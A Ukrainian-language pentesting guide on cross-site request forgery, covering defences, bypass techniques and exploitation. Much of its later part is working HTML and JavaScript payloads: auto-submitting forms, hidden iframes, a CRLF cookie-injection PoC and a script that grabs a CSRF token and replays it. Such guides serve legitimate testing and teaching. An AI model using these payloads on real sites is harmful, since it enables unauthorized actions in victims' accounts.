Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!
Hacking Insights
Engage with content that delves into the thrill and challenges of hacking
Real-Time Hack News
Keep up-to-date with fast-paced hacking world through real-time news and insights
Latest Announcements
Stay informed with the newest bug bounties launching and crucial platform updates
Join us onDiscord and start collaborating with top hackers today!
Пояснення Cross-Site Request Forgery (CSRF)
Cross-Site Request Forgery (CSRF) — це тип вразливості безпеки, що зустрічається у веб-додатках. Вона дозволяє зловмисникам виконувати дії від імені нічого не підозрюючих користувачів, експлуатуючи їх автентифіковані сесії. Атака виконується, коли користувач, який увійшов до платформи жертви, відвідує шкідливий сайт. Цей сайт потім ініціює запити до облікового запису жертви через методи, такі як виконання JavaScript, надсилання форм або отримання зображень.
Передумови для атаки CSRF
Щоб експлуатувати вразливість CSRF, необхідно виконати кілька умов:
Визначити цінну дію: Зловмисник повинен знайти дію, яку варто експлуатувати, наприклад, зміну пароля користувача, електронної пошти або підвищення привілеїв.
Управління сесією: Сесія користувача повинна управлятися виключно через куки або заголовок HTTP Basic Authentication, оскільки інші заголовки не можуть бути змінені для цієї мети.
Відсутність непередбачуваних параметрів: Запит не повинен містити непередбачуваних параметрів, оскільки вони можуть завадити атаці.
Швидка перевірка
Ви можете захопити запит у Burp і перевірити захисти CSRF, а для тестування з браузера ви можете натиснути Copy as fetch і перевірити запит:
Захист від CSRF
Для захисту від атак CSRF можна реалізувати кілька контрзаходів:
Перевірка користувача: Запит на введення пароля користувача або розв'язання капчі може підтвердити наміри користувача.
Перевірка заголовків Referrer або Origin: Валідація цих заголовків може допомогти забезпечити, що запити надходять з надійних джерел. Однак, обережне формування URL може обійти погано реалізовані перевірки, такі як:
Використання http://mal.net?orig=http://example.com (URL закінчується на надійний URL)
Використання http://example.com.mal.net (URL починається з надійного URL)
Зміна імен параметрів: Зміна імен параметрів у POST або GET запитах може допомогти запобігти автоматизованим атакам.
Токени CSRF: Включення унікального токена CSRF у кожну сесію та вимога цього токена в подальших запитах може значно зменшити ризик CSRF. Ефективність токена можна підвищити, впроваджуючи CORS.
Розуміння та реалізація цих захистів є критично важливими для підтримки безпеки та цілісності веб-додатків.
Обхід захисту
Від POST до GET
Можливо, форма, яку ви хочете зловживати, підготовлена для надсилання POST запиту з токеном CSRF, але ви повинні перевірити, чи GET також дійсний і чи, коли ви надсилаєте GET запит, токен CSRF все ще перевіряється.
Відсутність токена
Додатки можуть реалізувати механізм для перевірки токенів, коли вони присутні. Однак вразливість виникає, якщо перевірка пропускається зовсім, коли токен відсутній. Зловмисники можуть експлуатувати це, видаляючи параметр, що несе токен, а не лише його значення. Це дозволяє їм обійти процес перевірки та ефективно провести атаку Cross-Site Request Forgery (CSRF).
Токен CSRF не прив'язаний до сесії користувача
Додатки, які не прив'язують токени CSRF до сесій користувачів, представляють значний ризик безпеки. Ці системи перевіряють токени проти глобального пулу, а не забезпечують, щоб кожен токен був прив'язаний до ініціюючої сесії.
Ось як зловмисники експлуатують це:
Аутентифікуються за допомогою свого облікового запису.
Отримують дійсний токен CSRF з глобального пулу.
Використовують цей токен в атаці CSRF проти жертви.
Ця вразливість дозволяє зловмисникам робити несанкціоновані запити від імені жертви, експлуатуючи недостатній механізм перевірки токенів додатка.
Обхід методу
Якщо запит використовує "незвичний" метод, перевірте, чи працює функціональністьперезапису методу. Наприклад, якщо він використовує метод PUT, ви можете спробувати використати метод POST і надіслати: https://example.com/my/dear/api/val/num?_method=PUT
Це також може спрацювати, якщо надіслати параметр _method всередині POST запиту або використовуючи заголовки:
X-HTTP-Method
X-HTTP-Method-Override
X-Method-Override
Обхід токена кастомного заголовка
Якщо запит додає кастомний заголовок з токеном до запиту як метод захисту CSRF, тоді:
Перевірте запит без кастомізованого токена та заголовка.
Перевірте запит з точною такою ж довжиною, але іншим токеном.
Токен CSRF перевіряється за допомогою куки
Додатки можуть реалізувати захист CSRF, дублюючи токен як у куки, так і в параметрі запиту або встановлюючи куку CSRF і перевіряючи, чи відповідає токен, надісланий на бекенді, значенню в куки. Додаток перевіряє запити, перевіряючи, чи токен у параметрі запиту відповідає значенню в куки.
Однак цей метод вразливий до атак CSRF, якщо веб-сайт має недоліки, які дозволяють зловмиснику встановити куку CSRF у браузері жертви, такі як вразливість CRLF. Зловмисник може експлуатувати це, завантажуючи оманливе зображення, яке встановлює куку, після чого ініціює атаку CSRF.
Нижче наведено приклад того, як може бути структурована атака:
<html><!-- CSRF Proof of Concept - generated by Burp Suite Professional --><body><script>history.pushState('','','/')</script><formaction="https://example.com/my-account/change-email"method="POST"><inputtype="hidden"name="email"value="asd@asd.asd" /><inputtype="hidden"name="csrf"value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" /><inputtype="submit"value="Submit request" /></form><img src="https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" onerror="document.forms[0].submit();"/>
</body></html>
Зверніть увагу, що якщо csrf токен пов'язаний з сесійним кукі, ця атака не спрацює, оскільки вам потрібно буде встановити жертві вашу сесію, і, отже, ви будете атакувати себе.
Зміна Content-Type
Згідно з цим, щоб уникнути попередніх запитів, використовуючи метод POST, ці значення Content-Type дозволені:
application/x-www-form-urlencoded
multipart/form-data
text/plain
Однак зверніть увагу, що логіка серверів може варіюватися в залежності від використаного Content-Type, тому вам слід спробувати зазначені значення та інші, такі як application/json,text/xml, application/xml.
Приклад (з тут) відправки JSON даних як text/plain:
Коли ви намагаєтеся надіслати JSON-дані через POST-запит, використання Content-Type: application/json в HTML-формі не є безпосередньо можливим. Аналогічно, використання XMLHttpRequest для надсилання цього типу вмісту ініціює попередній запит. Проте існують стратегії, які можуть обійти це обмеження та перевірити, чи сервер обробляє JSON-дані незалежно від Content-Type:
Використовуйте альтернативні типи вмісту: Використовуйте Content-Type: text/plain або Content-Type: application/x-www-form-urlencoded, встановивши enctype="text/plain" у формі. Цей підхід перевіряє, чи бекенд використовує дані незалежно від Content-Type.
Змініть тип вмісту: Щоб уникнути попереднього запиту, забезпечуючи при цьому, щоб сервер розпізнавав вміст як JSON, ви можете надіслати дані з Content-Type: text/plain; application/json. Це не викликає попереднього запиту, але може бути правильно оброблено сервером, якщо він налаштований на прийом application/json.
Використання SWF Flash файлу: Менш поширений, але можливий метод полягає у використанні SWF flash файлу для обходу таких обмежень. Для детального розуміння цієї техніки зверніться до цього посту.
Обхід перевірки Referrer / Origin
Уникайте заголовка Referrer
Додатки можуть перевіряти заголовок 'Referer' лише тоді, коли він присутній. Щоб запобігти надсиланню цього заголовка браузером, можна використовувати наступний HTML мета-тег:
<metaname="referrer"content="never">
Це забезпечує відсутність заголовка 'Referer', що потенційно обминає перевірки валідації в деяких додатках.
Щоб встановити доменне ім'я сервера в URL, який Referrer збирається надіслати всередині параметрів, ви можете зробити:
<html><!-- Referrer policy needed to send the qury parameter in the referrer --><head><metaname="referrer"content="unsafe-url"></head><body><script>history.pushState('','','/')</script><formaction="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email"method="POST"><inputtype="hidden"name="email"value="asd@asd.asd" /><inputtype="submit"value="Submit request" /></form><script>// You need to set this or the domain won't appear in the query of the referer headerhistory.pushState("","","?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net")document.forms[0].submit();</script></body></html>
Метод обходу HEAD
Перша частина цього CTF звіту пояснює, що джерело коду Oak, маршрутизатор налаштований на обробку запитів HEAD як запитів GET без тіла відповіді - поширений обхід, який не є унікальним для Oak. Замість конкретного обробника, який займається запитами HEAD, їх просто передають обробнику GET, але додаток просто видаляє тіло відповіді.
Отже, якщо запит GET обмежений, ви можете просто надіслати запит HEAD, який буде оброблений як запит GET.
Приклади експлуатації
Екстракція токена CSRF
Якщо токен CSRF використовується як захист, ви можете спробувати екстрактувати його, зловживаючи вразливістю XSS або вразливістю Dangling Markup.
GET за допомогою HTML тегів
<imgsrc="http://google.es?param=VALUE"style="display:none" /><h1>404 - Page not found</h1>The URL you are requesting is no longer available
Інші HTML5 теги, які можна використовувати для автоматичної відправки GET запиту, це:
<html><!-- CSRF PoC - generated by Burp Suite Professional --><body><script>history.pushState('','','/')</script><formmethod="GET"action="https://victim.net/email/change-email"><inputtype="hidden"name="email"value="some@email.com" /><inputtype="submit"value="Submit request" /></form><script>document.forms[0].submit();</script></body></html>
Запит POST форми
<html><body><script>history.pushState('','','/')</script><formmethod="POST"action="https://victim.net/email/change-email"id="csrfform"><input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" /> <!-- Way 1 to autosubmit -->
<inputtype="submit"value="Submit request" /><imgsrc=xonerror="csrfform.submit();" /> <!-- Way 2 to autosubmit --></form><script>document.forms[0].submit(); //Way 3 to autosubmit</script></body></html>
Відправка POST запиту через iframe
<!--The request is sent through the iframe withuot reloading the page--><html><body><iframestyle="display:none"name="csrfframe"></iframe><formmethod="POST"action="/change-email"id="csrfform"target="csrfframe"><inputtype="hidden"name="email"value="some@email.com"autofocusonfocus="csrfform.submit();" /><inputtype="submit"value="Submit request" /></form><script>document.forms[0].submit();</script></body></html>
Ajax POST запит
<script>var xh;if (window.XMLHttpRequest){// code for IE7+, Firefox, Chrome, Opera, Safarixh=newXMLHttpRequest();}else{// code for IE6, IE5xh=newActiveXObject("Microsoft.XMLHTTP");}xh.withCredentials =true;xh.open("POST","http://challenge01.root-me.org/web-client/ch22/?action=profile");xh.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on");</script><script>//JQuery version$.ajax({type:"POST",url:"https://google.com",data:"param=value¶m2=value2"})</script>
<--! expl.html --><bodyonload="envia()"><formmethod="POST"id="formulario"action="http://aplicacion.example.com/cambia_pwd.php"><inputtype="text"id="pwd"name="pwd"value="otra nueva"></form><body><script>functionenvia(){document.getElementById("formulario").submit();}</script><!-- public.html --><iframesrc="2-1.html"style="position:absolute;top:-5000"></iframe><h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
Викрасти CSRF токен і надіслати POST запит
functionsubmitFormWithTokenJS(token) {var xhr =newXMLHttpRequest();xhr.open("POST",POST_URL,true);xhr.withCredentials =true;// Send the proper header information along with the requestxhr.setRequestHeader("Content-type","application/x-www-form-urlencoded");// This is for debugging and can be removedxhr.onreadystatechange=function() {if(xhr.readyState ===XMLHttpRequest.DONE&&xhr.status ===200) {//console.log(xhr.responseText);}}xhr.send("token="+ token +"&otherparama=heyyyy");}functiongetTokenJS() {var xhr =newXMLHttpRequest();// This tels it to return it as a HTML documentxhr.responseType ="document";xhr.withCredentials =true;// true on the end of here makes the call asynchronousxhr.open("GET",GET_URL,true);xhr.onload=function (e) {if (xhr.readyState ===XMLHttpRequest.DONE&&xhr.status ===200) {// Get the document from the responsepage =xhr.response// Get the input elementinput =page.getElementById("token");// Show the token//console.log("The token is: " + input.value);// Use the token to submit the formsubmitFormWithTokenJS(input.value);}};// Make the requestxhr.send(null);}varGET_URL="http://google.com?param=VALUE"varPOST_URL="http://google.com?param=VALUE"getTokenJS();
Вкрасти CSRF токен і надіслати Post запит, використовуючи iframe, форму та Ajax
Код можна використовувати для брутфорсу форми входу, використовуючи CSRF токен (також використовується заголовок X-Forwarded-For, щоб спробувати обійти можливе блокування IP):